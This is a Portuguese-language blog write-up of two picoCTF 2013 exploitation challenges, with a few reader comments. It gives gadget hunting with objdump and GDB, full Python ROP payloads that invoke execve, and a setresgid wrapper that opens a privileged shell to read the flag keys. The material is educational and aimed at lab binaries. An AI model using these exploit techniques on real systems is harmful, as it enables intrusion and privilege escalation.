picoCTF 2013 - write-up ROP4 + Overflow5

Salve! Neste post irei explicar como resolvi duas tasks do picoCTF [1], que foi bem interessante para por em prática conceitos básicos de ROP, mesmo sendo em um ambiente sem muita proteção.

ROP4

Abaixo segue o código referente ao programa que teria de ser explorado para obter uma shell com privilégio elevado o suficiente para ler o arquivo com a chave.

$ cat ./rop4/rop4.c
#include <stdio.h>
#include <unistd.h>
#include <string.h>
 
char exec_string[20];
 
void exec_the_string() {
	execlp(exec_string, exec_string, NULL);
}
 
void call_me_with_cafebabe(int cafebabe) {
	if (cafebabe == 0xcafebabe) {
		strcpy(exec_string, "/sh");
	}
}
 
void call_me_with_two_args(int deadbeef, int cafebabe) {
	if (cafebabe == 0xcafebabe && deadbeef == 0xdeadbeef) {
		strcpy(exec_string, "/bin");
	}
}
 
void vulnerable_function() {
	char buf[128];
	read(STDIN_FILENO, buf, 512);
}
 
void be_nice_to_people() {
	// /bin/sh is usually symlinked to bash, which usually drops privs. Make
	// sure we don't drop privs if we exec bash, (ie if we call system()).
	gid_t gid = getegid();
	setresgid(gid, gid, gid);
}
 
int main(int argc, char** argv) {
	exec_string[0] = '\0';
	be_nice_to_people();
	vulnerable_function();
}

Percebendo que as outras duas funções no código são uma pegadinha (por usar duas vezes strcpy(), ao invés de concatenar). A ideia então foi sobreescrever o retorno da função vulnerable_function e reutilizar o próprio código para chamar a syscall execve.
Usaremos o grep pra achar os gadgets necessários para executar execve("str", NULL, NULL), que nada mais é que colocar uma NULL word em %ecx e %edx (os argumentos com NULL ptr), o endereço da string com o nome do arquivo no %ebx, e o número da syscall em %eax.

Tendo isso em mente, vamos à caça!

$ objdump -d ./rop4/rop4 | grep 'pop *%edx' -A1 | grep ret -B1
 80551ca:	5a                   	pop    %edx
 80551cb:	c3                   	ret    

$ objdump -d ./rop4/rop4 | grep 'pop *%ecx' -A2 | grep ret -B2
 80551f1:	59                   	pop    %ecx
 80551f2:	5b                   	pop    %ebx
 80551f3:	c3                   	ret    

Ótimo, rapidamente foi encontrado. Agora precisamos de uma NULL word. O que é fácil encontrar na seção .dtors do ELF (como ela delimita a seção). Vamos checar no GDB...

(gdb) maintenance info sections
    0x80eefb0->0x80eefb8 at 0x000a5fb0: .dtors ALLOC LOAD DATA HAS_CONTENTS
 
(gdb) x/4x 0x80eefb0
0x80eefb0 <__DTOR_LIST__>:	0x00000000	0x00000000	0x00000000	0x00000000

Quanto ao endereço da string do nome do arquivo a ser usado pela execve, podemos usar a conhecida string "GNU" da seção .note.gnu.build-id. (obtemos o endereço inicial dela com maintenance info sections)

(gdb) x/10s 0x8048114
0x8048114:	 "\004"
0x8048116:	 ""
0x8048117:	 ""
0x8048118:	 "\024"
0x804811a:	 ""
0x804811b:	 ""
0x804811c:	 "\003"
0x804811e:	 ""
0x804811f:	 ""
0x8048120:	 "GNU"

Precisamos de um gadget para escrever esse endereço no %ebx:

$ objdump -d ./rop4/rop4 | grep 'pop *%ebx' -A1 | grep ret -B1
...
 80c5ea8:	5b                   	pop    %ebx
 80c5ea9:	c3                   	ret    

Feito isso, agora falta colocar o número da syscall no %eax. Que no caso, é 11.

Primeiro zeramos o %eax...

$ objdump -d ./rop4/rop4 | grep 'xor *%eax' -A1 | grep ret -B1
 80bb026:	31 c0                	xor    %eax,%eax
 80bb028:	c3                   	ret    

E então encontrei algo para ir incrementando o valor:

$ objdump -d ./rop4/rop4 | grep 'inc *%eax' -A2 | grep ret -B2
 805072c:	40                   	inc    %eax
 805072d:	5f                   	pop    %edi
 805072e:	c3                   	ret    

E pra chamar o kernel, obviamente precisaremos de:

$ objdump -d ./rop4/rop4 | grep 'int *$0x80'
...
 8055970:	cd 80                	int    $0x80

Sabendo a quantidade de bytes necessários até chegar no endereço de retorno (verificando no gdb), e com todos os endereços dos gadgets obtidos, podemos montar o payload usando Python:

import struct
 
p  = 'A'*140
 
p += struct.pack("<L", 0x80551ca) # pop %edx | ret
p += struct.pack("<L", 0x80eefb4) # NULL do .dtors
 
p += struct.pack("<L", 0x80551f1) # pop %ecx | pop %ebx | ret
p += struct.pack("<L", 0x80eefb4) # NULL
p += struct.pack("<L", 0x80eefb4) # NULL
 
p += struct.pack("<L", 0x80c5ea8) # pop %ebx | ret
p += struct.pack("<L", 0x8048120) # GNU
 
p += struct.pack("<L", 0x80bb026) # xor %eax, %eax | ret
 
# execve = syscall 11
for n in range(11):
        p += struct.pack("<L", 0x805072c) # inc %eax | pop %edi | ret
        p += struct.pack("<L", 0x41414141)
 
p += struct.pack("<L", 0x8055970) # int 0x80
 
print p

Como usamos a string "GNU" na execve, basta criarmos um link com esse nome para o /bin/sh:

$ ls -lah GNU
lrwxrwxrwx 1 user2056 user2056 7 May  7 01:02 GNU -> /bin/sh

E então testar nosso payload!

$ cat <(python rop4.py) - | ./rop4/rop4 
id
uid=2060(user2056) gid=3010(rop4) groups=2061(user2056),1002(webshell)
cat ./rop4/key
fluent_in_roponese

Feito!

Sem PIE ficou fácil explorar! Vamos à próxima tarefa...

Overflow 5

Para essa tarefa não foi dado o código fonte, então teremos que analisar pelo assembly, segue a parte principal vista no objdump:

080483c0 <main>:
 80483c0:	55                   	push   %ebp
 80483c1:	89 e5                	mov    %esp,%ebp
 80483c3:	83 e4 f0             	and    $0xfffffff0,%esp
 80483c6:	83 ec 10             	sub    $0x10,%esp
 80483c9:	83 7d 08 02          	cmpl   $0x2,0x8(%ebp)
 80483cd:	74 13                	je     80483e2 <main+0x22>
 80483cf:	c7 04 24 c0 85 04 08 	movl   $0x80485c0,(%esp)
 80483d6:	e8 b5 ff ff ff       	call   8048390 <puts@plt>
 80483db:	b8 01 00 00 00       	mov    $0x1,%eax
 80483e0:	c9                   	leave  
 80483e1:	c3                   	ret    
 80483e2:	e8 89 ff ff ff       	call   8048370 <geteuid@plt>
 80483e7:	89 44 24 08          	mov    %eax,0x8(%esp)
 80483eb:	89 44 24 04          	mov    %eax,0x4(%esp)
 80483ef:	89 04 24             	mov    %eax,(%esp)
 80483f2:	e8 69 ff ff ff       	call   8048360 <setresuid@plt>
 80483f7:	8b 45 0c             	mov    0xc(%ebp),%eax
 80483fa:	8b 40 04             	mov    0x4(%eax),%eax
 80483fd:	89 04 24             	mov    %eax,(%esp)
 8048400:	e8 bb 00 00 00       	call   80484c0 <vuln>
 8048405:	31 c0                	xor    %eax,%eax
 8048407:	c9                   	leave  
 8048408:	c3                   	ret    
 8048409:	90                   	nop
 804840a:	90                   	nop
 804840b:	90                   	nop
 
<...>
 
080484c0 <vuln>:
 80484c0:	81 ec 1c 04 00 00    	sub    $0x41c,%esp
 80484c6:	8b 84 24 20 04 00 00 	mov    0x420(%esp),%eax
 80484cd:	89 44 24 04          	mov    %eax,0x4(%esp)
 80484d1:	8d 44 24 10          	lea    0x10(%esp),%eax
 80484d5:	89 04 24             	mov    %eax,(%esp)
 80484d8:	e8 a3 fe ff ff       	call   8048380 <strcpy@plt>
 80484dd:	81 c4 1c 04 00 00    	add    $0x41c,%esp
 80484e3:	c3                   	ret    
 80484e4:	90                   	nop
 80484e5:	90                   	nop
 80484e6:	90                   	nop
 80484e7:	90                   	nop
 80484e8:	90                   	nop
 80484e9:	90                   	nop
 80484ea:	90                   	nop
 80484eb:	90                   	nop
 80484ec:	90                   	nop
 80484ed:	90                   	nop
 80484ee:	90                   	nop
 80484ef:	90                   	nop

Apesar de não termos o código em C, ficou claro que na função vuln a strcpy() é que irá nos propiciar a exploração. Mas também podemos notar que dessa vez, o programa remove os privilégios obtidos por ser setgid e muda-os para o do usuário que está executando (euid). Isto é, iremos precisar chamar setresgid() para elevar os privilégios antes de abrir uma shell para ler a chave.

Segui a mesma ideia para resolver essa tarefa, mas como não encontrei gadgets úteis (via grep) no binário, recorri as bibliotecas linkadas a ele. Veja:

(gdb) info proc mappings 
process 24956
Mapped address spaces:
 
	Start Addr   End Addr       Size     Offset objfile
	 0x8048000  0x8049000     0x1000        0x0 /problems/stack_overflow_5_0353c1a83cb2fa0d/buffer_overflow_shellcode_hard
	 0x8049000  0x804a000     0x1000        0x0 /problems/stack_overflow_5_0353c1a83cb2fa0d/buffer_overflow_shellcode_hard
	 0x804a000  0x804b000     0x1000     0x1000 /problems/stack_overflow_5_0353c1a83cb2fa0d/buffer_overflow_shellcode_hard
	0xf7e28000 0xf7e29000     0x1000        0x0 
	0xf7e29000 0xf7fc9000   0x1a0000        0x0 /lib32/libc-2.15.so
	0xf7fc9000 0xf7fca000     0x1000   0x1a0000 /lib32/libc-2.15.so
	0xf7fca000 0xf7fcc000     0x2000   0x1a0000 /lib32/libc-2.15.so
	0xf7fcc000 0xf7fcd000     0x1000   0x1a2000 /lib32/libc-2.15.so
	0xf7fcd000 0xf7fd1000     0x4000        0x0 
	0xf7fda000 0xf7fdb000     0x1000        0x0 
	0xf7fdb000 0xf7fdc000     0x1000        0x0 [vdso]
	0xf7fdc000 0xf7ffc000    0x20000        0x0 /lib32/ld-2.15.so
	0xf7ffc000 0xf7ffd000     0x1000    0x1f000 /lib32/ld-2.15.so
	0xf7ffd000 0xf7ffe000     0x1000    0x20000 /lib32/ld-2.15.so
	0xfffdd000 0xffffe000    0x21000        0x0 [stack]

Com os endereços da bibliotecas podemos usar o próprio GDB para procurar por alguns pop-ret, pop-pop-ret usando o comando find, para isso só precisaremos dos opcodes das instruções. (O qual aproveitei dos gadgets encontrados anteriormente), veja abaixo:

(gdb) find /b 0xf7e29000, 0xf7fcd000, 0x59, 0x5b, 0xc3
0xf7f25292
1 pattern found.
(gdb) x/3i 0xf7f25292
   0xf7f25292:	pop    %ecx
   0xf7f25293:	pop    %ebx
   0xf7f25294:	ret    

Procurando pelas outras instruções, chegamos a um payload parecido:

import struct
 
p  = 'A'*1036
 
p += struct.pack("<L", 0xf7f25292) # pop %ecx | pop %ebx | ret
p += struct.pack("<L", 0x8049f24)  # null ptr
p += struct.pack("<L", 0x8048194)  # GNU
 
p += struct.pack("<L", 0xf7e2aa9e) # pop %edx | ret
p += struct.pack("<L", 0x8049f24)  # null ptr 
 
p += struct.pack("<L", 0xf7f72e10) # xor %eax, %eax | ret
 
# execve syscall number (11)
for i in range(0, 11):
	p += struct.pack("<L", 0xf7ff5013) # inc %eax | pop %edi | ret
	p += struct.pack("<L", 0xf7ff5013)
 
p += struct.pack("<L", 0xf7fdd1b0) # int $0x80 | ret
 
print p

Pronto, temos o payload para chamar a execve()! Mas isso não é o bastante, ainda falta a parte de elevar os privilégios. Sabendo que em uma chamada a execve() é herdado os direitos do programa em que ele foi executado (saved set-group-ID) [2], podemos fazer então um wrapper que irá chamar setresgid e então abrir uma shell com os privilégios elevado! Para isso, modifiquei o link com nome GNU para linkar com o wrapper, que faz o que falta para essa tarefa:

$ cat wrapper.c
#include <unistd.h>
 
int main(int argc, char **argv) {
	setresgid(3015, 3015, 3015);
	execve("/bin/sh", NULL, NULL);
 
	return 0;
}

$ ls -lah GNU
lrwxrwxrwx 1 user2056 user2056 9 Apr 30 23:14 GNU -> ./wrapper

Então testando o payload...

user2056@shell:~$ ./overflow5/buffer_overflow_shellcode_hard $(python bof5.py)
user2056@shell:/home2/user2056$ id
uid=2060(user2056) gid=3015(overflow5) groups=2061(user2056),1002(webshell)
user2056@shell:/home2/user2056$ cat ./overflow5/key
most_impressive_young_padawan

Feito!

[1] https://picoctf.com/
[2] http://linux.die.net/man/7/credentials

Happy hacking.

no aslr involved??? Why do

no aslr involved???

Why do you call 3015 in the end elevated privileges??? it's not root...

Thanks.

Yes, no ASLR.

Yes, no ASLR.

Comment viewing options

Select your preferred way to display the comments and click "Save settings" to activate your changes.

Post new comment

The content of this field is kept private and will not be shown publicly.
  • Web page addresses and e-mail addresses turn into links automatically.
  • Allowed HTML tags: <a> <em> <strong> <cite> <code> <ul> <ol> <li> <dl> <dt> <dd>
  • Lines and paragraphs break automatically.

More information about formatting options